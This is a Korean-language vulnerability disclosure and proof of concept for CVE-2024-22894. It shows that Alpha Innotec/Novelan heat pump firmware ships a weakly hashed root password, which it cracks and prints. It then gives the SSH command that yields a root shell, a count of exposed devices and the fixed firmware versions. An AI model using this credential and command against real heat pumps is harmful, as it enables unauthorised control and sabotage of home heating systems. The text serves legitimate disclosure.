
CVE-2024-22894에 대한 개념 증명 익스플로잇으로, Alpha Innotec/Novelan 히트펌프 펌웨어에서 3DES-encrypted root password 추출을 시연하여 취약한 IoT 기기에 SSH 액세스를 활성화합니다.
최신 히트펌프 펌웨어 버전 wp2reg-V3.88.0-9015를 https://www.heatpump24.com/DownloadArea.php에서 다운로드했습니다.
이 펌웨어 안에는 다음과 같은 파일이 있습니다: wp2reg-V3.88.0-9015\wp2reg-AlphaInnotech-prod\home.wp2reg-V3.88.0-9015_221213\share\shadow
이 파일에는 시스템 루트 사용자의 3DES 암호화된 비밀번호 root:MEfgX2vrPJzuE:0:0:99999:7:::가 포함되어 있으며, 복호화/크래킹(5초 이내)하면 비밀번호 eschi가 나타납니다.
네트워크 케이블을 사용하여 히트펌프를 네트워크에 연결하면, 'root' 사용자와 찾은 비밀번호를 사용하여 사용 가능한 SSH 서비스에 로그인할 수 있습니다.
> ssh -oKexAlgorithms=+diffie-hellman-group1-sha1 -c aes256-cbc root@$IP
$IP's password: eschi
# id
uid=0(root) gid=0 groups=0
# uname -a
Linux [...] 2.6.33.20 #3 PREEMPT Wed Oct 24 14:25:34 CEST 2018 armv5tejl GNU/Linux
이 취약점은 Luxtronic 컨트롤러를 실행하는 모든 Alpha Innotec 및 Novelan 히트펌프에 적용됩니다. 이는 Alpha Innotec 및 Novelan의 OEM인 AIT Deutschland에 의해 확인 및 해결되었으며, 취약점은 다음 펌웨어 버전에 존재합니다:
V2.88.3 이전 버전V3.89.0 이전 버전V4.81.3 이전 버전히트펌프를 오용하려면 LAN(RJ-45) 연결을 사용하여 네트워크에 연결해야 합니다. Shodan에 따르면 동일한 SSH 버전과 지문을 사용하여 인터넷에 연결된 히트펌프가 여전히 47대 있으며, 이 익스플로잇을 사용하여 손상될 수 있습니다.
악용될 경우 설정을 변경하거나 전체 구성/소프트웨어를 제거하여 히트펌프가 오작동하거나 충돌을 일으켜 큰 피해를 초래할 수 있습니다. 예를 들어, 홈 디렉토리에는 공격자에게 흥미로울 수 있는 다음 파일들이 포함되어 있습니다:
# ls -alh /home
total 7448
drwxr-xr-x 5 root 0 4.8K Jan 12 08:59 .
drwxr-xr-x 14 root 0 992 Aug 1 2011 ..
drwxr-xr-x 3 root 0 224 Jan 1 1970 .update
-rw-rw-rw- 1 root 0 92.3K Jul 20 2022 10Min_1
-rw-rw-rw- 1 root 0 92.3K Sep 15 2022 10Min_2
-rwxrwxrwx 1 root 0 22.3K Jan 13 2021 ASB.bin
-rwxrwxrwx 1 root 0 23.3K Jul 15 2019 ASB_BL_Switch.bin
-rwxrwxrwx 1 root 0 22.1K Jul 15 2019 ASB_bootloader.bin
-rwxrwxrwx 1 root 0 1.2K Jun 16 2021 Defines.txt
-rwxrwxrwx 1 root 0 15.7K Jun 14 2021 HZIO.lin
-rw-rw-rw- 1 root 0 648 Jan 3 18:55 Info.dti
-rwxrwxrwx 1 root 0 15.3K Jul 24 2020 LD2AG.lin
-rwxrwxrwx 1 root 0 37.5K Jul 15 2019 LWD.lin
-rwxrwxrwx 1 root 0 26.8K Feb 8 2021 LWD45.lin
-rwxrwxrwx 1 root 0 38.8K Jul 15 2019 LWD90.lin
-rwxrwxrwx 1 root 0 37.9K Jul 15 2019 LWDRev.lin
-rwxrwxrwx 1 root 0 40.0K Jun 16 2021 LuxConst.sqlite
-rwxrwxrwx 1 root 0 26.9K Jul 24 2020 MSW_15.lin
-rwxrwxrwx 1 root 0 28.4K Jul 24 2020 MSW_Inverter.lin
-rw-rw-rw- 1 root 0 435.2K Jan 12 08:59 NewProc
-rw-rw-rw- 1 root 0 8.8K Jan 1 01:00 ParamArchive_1704067200
[...]
-rw-rw-rw- 1 root 0 8.8K Jan 12 01:00 ParamArchive_1705017600
-rwxrwxrwx 1 root 0 96.9K Jul 15 2019 SEC.bin
-rwxrwxrwx 1 root 0 31.6K Jul 15 2019 SWP.lin
-rwxrwxrwx 1 root 0 30.6K Jul 15 2019 SWPH.lin
-rwxrwxrwx 1 root 0 30.4K Jul 15 2019 SWPH291.lin
drwxrwxrwx 2 root 0 648 Apr 25 2023 Webserver
-rwxrwxrwx 1 root 0 5.0M Jun 16 2021 appl
-rwxrwxrwx 1 root 0 147 Jul 15 2019 appl.cfg
-rw-rw-rw- 1 root 0 8.8K Jan 12 08:59 appl_param1
-rw-rw-rw- 1 root 0 8.8K Jan 12 06:59 appl_param2
-rwxrwxrwx 1 root 0 9.4K Jul 15 2019 bootloader.lin
-rw-r--r-- 1 root 0 20.0K Jan 1 05:10 default.sqlite
-rw-r--r-- 1 root 0 0 Jan 1 1970 default.sqlite-wal
-rw-rw-r-- 1 root 0 56 Sep 15 2022 errlog
-rw-r--r-- 1 root 0 42.9K Apr 1 2011 firmware
-rwxrwxrwx 1 root 0 391 Jul 15 2019 index.html
-rwxrwxrwx 1 root 0 35.2K Jun 16 2021 lang_CR
[...
-rwxrwxrwx 1 root 0 37.8K Jun 16 2021 lang_tr
drwxr-xr-x 2 root 0 360 Jan 1 1970 share
-rwxrwxrwx 1 root 0 37 Jul 15 2019 timezone
-rwxrwxrwx 1 root 0 1.1K Jul 15 2019 udhcpc.script
V2.88.3 이상V3.89.0 이상V4.81.3 이상이 문제를 진지하게 받아들이고 우선적으로 수정한 AIT-Deutschland에게 감사를 표합니다.